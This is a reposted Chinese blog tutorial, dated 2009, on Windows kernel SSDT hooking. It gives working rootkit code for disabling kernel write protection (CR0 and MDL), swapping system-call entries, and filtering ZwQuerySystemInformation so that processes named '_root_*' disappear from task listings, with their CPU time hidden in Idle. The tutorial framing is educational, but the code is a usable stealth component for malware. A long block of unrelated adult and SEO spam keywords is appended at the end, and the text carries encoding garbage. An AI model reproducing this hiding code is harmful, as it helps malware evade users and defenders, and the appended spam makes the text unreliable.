• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開(kāi)心的工作
            簡(jiǎn)單、開(kāi)放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            SSDT HIDE Process

            Posted on 2009-10-25 11:37 S.l.e!ep.¢% 閱讀(418) 評(píng)論(0)  編輯 收藏 引用 所屬分類: RootKit

            SSDT HIDE Process 收藏
            原文出處:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost


            前言:
            這只是一篇類似于教學(xué)性的paper,在本文中闡述了一些SSDT HOOK的基本原理與實(shí)現(xiàn)方法,方法并不高深也不新穎,只是方便如同我一般的小菜們能夠了解SSDT HOOK的概念,并通過(guò)一個(gè)小程序?qū)崿F(xiàn)ring0下SSDT HOOK來(lái)隱藏特定進(jìn)程。大牛請(qǐng)飄過(guò)。

            什么是SSDT?
            SSDT(System Service Dispatch Table)系統(tǒng)服務(wù)描述符表,它用來(lái)查詢處理系統(tǒng)調(diào)用的特定函數(shù)。也就是說(shuō),這個(gè)表把ring3下UserMode的Win32 API同ring0下Kernel API相聯(lián)系。

            SSDT HOOK 有什么用?
            通過(guò)修改SSDT中的函數(shù)入口地址來(lái)HOOK SSDT中的函數(shù),你可以過(guò)濾掉你所關(guān)心的特定結(jié)果,從而欺騙操作系統(tǒng)。比如,你可以隱藏特定的進(jìn)程,隱藏文件,隱藏端口等等。


            下面讓我們正式進(jìn)入到SSDT?? HOOK的探索旅程中吧!
            我首先會(huì)闡述一些關(guān)于SSDT的基本概念,然后介紹了SSDT工作的原理,再次介紹如何繞過(guò)內(nèi)存的寫(xiě)保護(hù)來(lái)修改SSDT,最后通過(guò)一個(gè)簡(jiǎn)單的例子來(lái)介紹如何使用SSDT HOOK來(lái)隱藏進(jìn)程。

            SSDT的基本概念
            SSDT通過(guò)索引系統(tǒng)調(diào)用號(hào)來(lái)查找在內(nèi)存中的函數(shù)地址。而另一個(gè)被稱為SSPT(System Service Parameter Table)系統(tǒng)服務(wù)參數(shù)表,它則指定了每一個(gè)系統(tǒng)服務(wù)的函數(shù)參數(shù)的字節(jié)數(shù)。
            KeServiceDescriptorTable是一個(gè)內(nèi)核的導(dǎo)出表,這個(gè)表中包含一個(gè)指向部分SSDT的指針。而SSDT中則包含著內(nèi)核的主要部分,Ntoskrnl.exe中的核心系統(tǒng)服務(wù)的實(shí)現(xiàn)。KeServiceDescriptorTable當(dāng)然也包含一個(gè)指向SSPT的指針。
            SSDT中包含著每一個(gè)內(nèi)核導(dǎo)出函數(shù)的地址,每個(gè)地址是4字節(jié)長(zhǎng)。SSPT中每個(gè)元素則是1字節(jié)長(zhǎng),而且用16進(jìn)制來(lái)表示SSDT中指定函數(shù)的參數(shù)長(zhǎng)度。在下圖中,在地址0x804AB3BF的函數(shù),它的參數(shù)長(zhǎng)度是0x18。

            當(dāng)調(diào)用一個(gè)指定的函數(shù)時(shí),KiSystemService只是簡(jiǎn)單的用目標(biāo)函數(shù)的ID號(hào)乘以4,來(lái)得到SSDT中的偏移地址。KeServiceDescriptorTable中包含著服務(wù)的數(shù)目,這個(gè)值可以用來(lái)找到SSDT或者SSPT中的最大偏移。
            當(dāng)調(diào)用INT 2E或者SYSENTER指令時(shí),將會(huì)觸發(fā)系統(tǒng)服務(wù)。這將使得進(jìn)程進(jìn)入到Kernel Mode,也就是所說(shuō)的ring0。應(yīng)用程序能夠直接觸發(fā)system service dispatcher,KiSystemService,或者通過(guò)使用子系統(tǒng)來(lái)觸發(fā)。如果使用的是子系統(tǒng)的話(比如Win32),那么它將進(jìn)入到 Ntdll.dll,然后把請(qǐng)求的系統(tǒng)函數(shù)索引號(hào)或者系統(tǒng)服務(wù)標(biāo)志符裝入到EAX中,再把函數(shù)參數(shù)的地址裝入到EDX中。然后system service dispatcher將會(huì)核查參數(shù),把它們從用戶棧復(fù)制到內(nèi)核棧。它然后調(diào)用通過(guò)EAX中系統(tǒng)服務(wù)標(biāo)志符來(lái)指定的SSDT中索引的函數(shù)。
            一旦你的應(yīng)用程序被作為一個(gè)驅(qū)動(dòng)程序加載,它就能夠改變SSDT中指向的函數(shù)變?yōu)槟阕约旱暮瘮?shù),而不是Ntoskrnl.exe 或者Win32k.sys中的函數(shù)。當(dāng)一個(gè)非內(nèi)核的程序進(jìn)入到內(nèi)核時(shí),它的請(qǐng)求被system service dispatcher處理,并且你的程序的函數(shù)將被調(diào)用。基于這一點(diǎn),你就可以有效地隱藏自己的程序,包括它所使用的資源,返回一個(gè)虛假的信息給應(yīng)用程序。


            改寫(xiě)SSDT內(nèi)存保護(hù)

            Windows系統(tǒng)對(duì)部分內(nèi)存起用了寫(xiě)保護(hù),來(lái)防止內(nèi)存頁(yè)被修改,比如Windows XP和Windows 2003。它們使得SSDT變成只讀的表,以此來(lái)防止任何應(yīng)用程序來(lái)修改這個(gè)表。
            寫(xiě)保護(hù)操作給你的應(yīng)用程序提出了一個(gè)挑戰(zhàn),它使得你想HOOK某些系統(tǒng)調(diào)用來(lái)過(guò)濾返回信息變得困難起來(lái)。如果你試圖去對(duì)一個(gè)只讀的內(nèi)存進(jìn)行操作,那么你將會(huì)遇到BSoD,也就是經(jīng)典的藍(lán)屏死機(jī)的問(wèn)題。
            有兩個(gè)方法可以繞過(guò)寫(xiě)保護(hù),一種是修改控制寄存器CR0中的寫(xiě)保護(hù)位來(lái)繞過(guò),另一種是利用Memory Descriptor List (MDL)來(lái)繞過(guò)寫(xiě)保護(hù)。

            先說(shuō)第一種方法,第一種方法比較簡(jiǎn)單,也就是只要把CR0中的WP(寫(xiě)保護(hù))位設(shè)置為0,就可以禁止內(nèi)存保護(hù)。

            // 取消內(nèi)存保護(hù)
            ?? __asm
            ?? {
            ???????? push eax
            ???????? mov?? eax, CR0
            ???????? and?? eax, 0FFFEFFFFh
            ???????? mov?? CR0, eax
            ???????? pop?? eax
            ?? }
            // 重新起用內(nèi)存保護(hù)
            ?? __asm
            ?? {
            ???????? push eax
            ???????? mov?? eax, CR0
            ???????? or eax, NOT 0FFFEFFFFh
            ???????? mov?? CR0, eax
            ???????? pop?? eax
            ?? }

            第二種方法是利用MDL,這個(gè)方法在Microsoft的文檔中講得很詳細(xì)了。
            你可以在MDL中描述一段內(nèi)存,包括內(nèi)存段的起始位置,所擁有的進(jìn)程,字節(jié)數(shù),內(nèi)存段的標(biāo)志等等。

            // MDL references defined in ntddk.h
            typedef struct _MDL {
            struct _MDL *Next;
            CSHORT Size;
            CSHORT MdlFlags;
            struct _EPROCESS *Process;
            PVOID MappedSystemVa;
            PVOID StartVa;
            ULONG ByteCount;
            ULONG ByteOffset;
            } MDL, *PMDL;

            // MDL Flags
            #define MDL_MAPPED_TO_SYSTEM_VA???? 0x0001
            #define MDL_PAGES_LOCKED????????? 0x0002
            #define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
            #define MDL_ALLOCATED_FIXED_SIZE 0x0008
            #define MDL_PARTIAL???????????????? 0x0010
            #define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
            #define MDL_IO_PAGE_READ????????? 0x0040
            #define MDL_WRITE_OPERATION?????? 0x0080
            #define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
            #define MDL_LOCK_HELD???????????? 0x0200
            #define MDL_PHYSICAL_VIEW?????????? 0x0400
            #define MDL_IO_SPACE???????????? 0x0800
            #define MDL_NETWORK_HEADER?????? 0x1000
            #define MDL_MAPPING_CAN_FAIL??????? 0x2000
            #define MDL_ALLOCATED_MUST_SUCCEED?? 0x4000

            為了改變內(nèi)存的標(biāo)志,下面的代碼首先聲明一個(gè)結(jié)構(gòu)體,用來(lái)保存從Windows內(nèi)核中導(dǎo)出的KeServiceDescriptorTable。當(dāng)你調(diào)用 MmCreateMdl時(shí),你需要知道KeServiceDescriptorTable的基址和它所擁有的函數(shù)入口的數(shù)量。這個(gè)函數(shù)定義了你想要MDL 描述的內(nèi)存段的起始地址和大小。然后你的應(yīng)用程序在內(nèi)存的非頁(yè)池中創(chuàng)建MDL。
            你的應(yīng)用程序可以通過(guò)改變MDL的標(biāo)志來(lái)使得你可以寫(xiě)內(nèi)存段,也就是把MDL flag設(shè)置為MDL_MAPPED_TO_SYSTEM_VA。然后調(diào)用MmMapLockedPages來(lái)鎖定內(nèi)存中的MDL頁(yè)。
            現(xiàn)在,你可以準(zhǔn)備HOOKING SSDT了,在下面的代碼中,MappedSystemCallTable中的地址同SSDT的內(nèi)容相一致,但是,現(xiàn)在你可以修改它了。

            // 聲明
            #pragma pack(1)

            typedef struct ServiceDescriptorEntry {
            ?????? unsigned int *ServiceTableBase;
            ?????? unsigned int *ServiceCounterTableBase;
            ?????? unsigned int NumberOfServices;
            ?????? unsigned char *ParamTableBase;
            } SSDT_Entry;

            #pragma pack()
            __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

            PMDL?? g_pmdlSystemCall;
            PVOID *MappedSystemCallTable;

            // 保存原始的系統(tǒng)調(diào)用地址,映射到我們的域中,來(lái)改變MDL的保護(hù)
            g_pmdlSystemCall = MmCreateMdl(NULL,
            ?????????????? KeServiceDescriptorTable.ServiceTableBase,
            ?????????????? KeServiceDescriptorTable.NumberOfServices*4);
            if(!g_pmdlSystemCall)
            return STATUS_UNSUCCESSFUL;
            MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
            // 改變MDL的標(biāo)志
            g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
            ??????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
            MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

            HOOKING SSDT

            下面列出了幾個(gè)對(duì)HOOKING SSDT比較有用的宏。

            #define SYSTEMSERVICE(_func) \
            ?? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

            #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

            #define HOOK_SYSCALL(_Function, _Hook, _Orig )??? \
            ?????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
            ?????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

            #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )?? \
            ?????? InterlockedExchange((PLONG)?????????? \
            ?????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

            SYSTEMSERVICE宏的參數(shù)(姑且稱為參數(shù)吧)是ntoskrnl.exe導(dǎo)出的函數(shù)地址,是一個(gè)Zw* 型的函數(shù),返回一個(gè)在SSDT表中Nt*型的函數(shù)地址。
            SYSCALL_INDEX宏的參數(shù)是Zw*型的函數(shù)的地址,返回一個(gè)在SSDT中相一致的索引號(hào)。
            HOOK_SYSCALL 和 UNHOOK_SYSCALL宏則是把Zw*型的被HOOK的函數(shù)地址同_Hook函數(shù)地址在SSDT中自動(dòng)交換。
            這幾個(gè)宏將會(huì)在下面的例子中非常有用。

            例子:使用SSDT HOOK來(lái)隱藏進(jìn)程

            ?? Windows操作系統(tǒng)使用ZwQuerySystemInformation函數(shù)來(lái)查詢?cè)S多不同的操作系統(tǒng)信息。比如,任務(wù)管理器 Taskmgr.exe,就是使用這個(gè)函數(shù)來(lái)獲得系統(tǒng)的進(jìn)程列表。返回的信息則是依靠SystemInformationClass來(lái)決定的。比如,在這個(gè)例子中,我們想要獲得系統(tǒng)的進(jìn)程信息,我們需要把SystemInformationClass設(shè)置為5。更多詳細(xì)的信息,請(qǐng)參閱Microsoft Windows DDK。
            一旦你的程序在SSDT中替換了NtQuerySystemInformation,你的HOOK程序就能調(diào)用原始的系統(tǒng)調(diào)用,并且過(guò)濾掉敏感信息。
            在SystemInformationClass buffer中,包含著_SYSTEM_PROCESSES結(jié)構(gòu)體和與其相對(duì)應(yīng)的_SYSTEM_THREADS結(jié)構(gòu)體。在 _SYSTEM_PROCESSES中,進(jìn)程名是UNICODE_STRING的。兩個(gè)LARGE_INTEGER則是進(jìn)程的user和kernel的時(shí)間。當(dāng)你的程序隱藏一個(gè)進(jìn)程的時(shí)候,你的程序應(yīng)該把這個(gè)進(jìn)程的執(zhí)行開(kāi)銷所花費(fèi)的時(shí)間加到列表中的其它進(jìn)程中,以保證CPU的總的時(shí)間是100%。
            下面的是ZwQuerySystemInformation所返回的進(jìn)程和線程的結(jié)構(gòu)體。


            struct _SYSTEM_THREADS
            {
            ?????? LARGE_INTEGER?????????? KernelTime;
            ?????? LARGE_INTEGER?????????? UserTime;
            ?????? LARGE_INTEGER?????????? CreateTime;
            ?????? ULONG??????????????? WaitTime;
            ?????? PVOID??????????????? StartAddress;
            ?????? CLIENT_ID???????????? ClientIs;
            ?????? KPRIORITY???????????? Priority;
            ?????? KPRIORITY???????????? BasePriority;
            ?????? ULONG??????????????? ContextSwitchCount;
            ?????? ULONG??????????????? ThreadState;
            ?????? KWAIT_REASON????????? WaitReason;
            };

            struct _SYSTEM_PROCESSES
            {
            ?????? ULONG??????????????? NextEntryDelta;
            ?????? ULONG??????????????? ThreadCount;
            ?????? ULONG??????????????? Reserved[6];
            ?????? LARGE_INTEGER?????????? CreateTime;
            ?????? LARGE_INTEGER?????????? UserTime;
            ?????? LARGE_INTEGER?????????? KernelTime;
            ?????? UNICODE_STRING?????? ProcessName;
            ?????? KPRIORITY???????????? BasePriority;
            ?????? ULONG??????????????? ProcessId;
            ?????? ULONG??????????????? InheritedFromProcessId;
            ?????? ULONG??????????????? HandleCount;
            ?????? ULONG??????????????? Reserved2[2];
            ?????? VM_COUNTERS????????? VmCounters;
            ?????? IO_COUNTERS????????? IoCounters;??????? //windows 2000 only
            ?????? struct _SYSTEM_THREADS?? Threads[1];
            };


            下面的NewZwQuerySystemInformation將會(huì)過(guò)濾掉所有以“"_root_”打頭的進(jìn)程名,并且把它們的運(yùn)行開(kāi)銷加到Idle的進(jìn)程中,也就是加到系統(tǒng)空閑進(jìn)程中。


            ///////////////////////////////////////////////////////////////////////
            // NewZwQuerySystemInformation 函數(shù)
            // ZwQuerySystemInformation() 返回一個(gè)進(jìn)程的鏈表
            // 下面的函數(shù)將會(huì)去掉所有以“_root_”打頭的進(jìn)程
            NTSTATUS NewZwQuerySystemInformation(
            ???????? IN ULONG SystemInformationClass,
            ???????? IN PVOID SystemInformation,
            ???????? IN ULONG SystemInformationLength,
            ???????? OUT PULONG ReturnLength)
            {
            NTSTATUS ntStatus;
            ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
            ??????????????????????????????????????? (SystemInformationClass,
            ??????????????????????????????????????? SystemInformation,
            ??????????????????????????????????????? SystemInformationLength,
            ??????????????????????????????????????? ReturnLength);
            if( NT_SUCCESS(ntStatus))
            {
            ?? if(SystemInformationClass == 5)
            ?? {
            ?????? // 查詢進(jìn)程的鏈表,并且去掉以“_root_”打頭的進(jìn)程
            ????? struct _SYSTEM_PROCESSES *curr =
            ??????????? (struct _SYSTEM_PROCESSES *) SystemInformation;
            ?????? struct _SYSTEM_PROCESSES *prev = NULL;
            ?????? while(curr)
            ?????? {
            ????? //DbgPrint("Current item is %x\n", curr);
            ????? if (curr->ProcessName.Buffer != NULL)
            ????? {
            ???????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
            ???????? {
            ??????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
            ??????????? m_KernelTime.QuadPart +=
            ???????????????????????????????? curr->KernelTime.QuadPart;
            ??????????? if(prev)??? // 鏈表的第二個(gè)節(jié)點(diǎn)到最后一個(gè)節(jié)點(diǎn)的處理
            ??????????? {
            ?????????????? if(curr->NextEntryDelta)
            ????????????????? prev->NextEntryDelta +=
            ??????????????????????????????????????? curr->NextEntryDelta;
            ?????????????? else??? // 最后一個(gè)節(jié)點(diǎn)
            ????????????????? prev->NextEntryDelta = 0;
            ??????????? }
            ??????????? else
            ??????????? {
            ?????????????? if(curr->NextEntryDelta)
            ?????????????? {
            ????????????????? // 鏈表的第一個(gè)節(jié)點(diǎn),向后移動(dòng)指針
            ????????????????? (char*)SystemInformation +=
            ??????????????????????????????????? curr->NextEntryDelta;
            ?????????????? }
            ?????????????? else?????? // 只有一個(gè)節(jié)點(diǎn)
            ????????????????? SystemInformation = NULL;
            ??????????? }
            ???????? }
            ????? }
            ????? else???????????? // Idle進(jìn)程的入口
            ????? {
            ???????? // 把 _root_*進(jìn)程開(kāi)銷加到Idle的進(jìn)程中去
            ???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
            ???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
            ???????? // 為我們下次過(guò)濾的時(shí)候重置
            ???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            ????? }
            ????? prev = curr;
            ????????? if(curr->NextEntryDelta)((char*)curr+=
            ???????????????????????????????????? curr->NextEntryDelta);
            ???????? else curr = NULL;
            ?? }
            ?? }
            ??? else if (SystemInformationClass == 8)
            ??? {
            ????? // 查詢系統(tǒng)進(jìn)程開(kāi)銷
            ????? struct _SYSTEM_PROCESSOR_TIMES * times =
            ????????? (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
            ????? times->IdleTime.QuadPart += m_UserTime.QuadPart +
            ??????????????????????????????????? m_KernelTime.QuadPart;
            ?? }
            }
            return ntStatus;
            }


            注:以上代碼來(lái)源于www.rootkit.com,完整代碼下載地址為:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

            現(xiàn)在你的程序可以把進(jìn)程中所有以“_root_”打頭的進(jìn)程都隱藏起來(lái)了,當(dāng)然你可以更改隱藏的進(jìn)程名。
            通過(guò)上述的例子,你可以明白HOOK的好處了吧,當(dāng)然在SSDT中還有許多值得我們HOOK的函數(shù),展開(kāi)你的想象吧,沒(méi)有做不到,只有想不到!

            ?

            本文來(lái)自CSDN博客,轉(zhuǎn)載請(qǐng)標(biāo)明出處:http://blog.csdn.net/lionzl/archive/2009/08/27/4489268.aspx

            久久国产视屏| 99久久精品免费看国产| 日韩中文久久| 国产精品一区二区久久精品| 久久人妻少妇嫩草AV无码专区| 亚洲人成精品久久久久| 久久久青草青青亚洲国产免观| 精品综合久久久久久97超人| 亚洲精品无码久久不卡| 亚洲乱亚洲乱淫久久| 亚洲av日韩精品久久久久久a | 理论片午午伦夜理片久久| 久久综合亚洲色HEZYO社区 | 久久天天躁狠狠躁夜夜2020| 伊人热热久久原色播放www| 国内精品欧美久久精品| 久久w5ww成w人免费| 久久亚洲AV成人出白浆无码国产| 日本精品一区二区久久久| 久久精品亚洲精品国产欧美| 久久婷婷五月综合色99啪ak| 国内精品久久久久久久涩爱| 99国内精品久久久久久久| 99久久精品国产综合一区| 99久久www免费人成精品| 四虎久久影院| 亚洲精品白浆高清久久久久久| 亚洲av日韩精品久久久久久a| 精品少妇人妻av无码久久| 99久久精品免费| 欧美大香线蕉线伊人久久| 国产精品热久久毛片| 色综合久久久久无码专区| 久久丫精品国产亚洲av不卡| 国产精品一区二区久久精品无码 | 国产精品久久久久aaaa| 久久精品国内一区二区三区 | 国产婷婷成人久久Av免费高清| 欧美久久精品一级c片片| 欧美激情一区二区久久久| 国产精久久一区二区三区|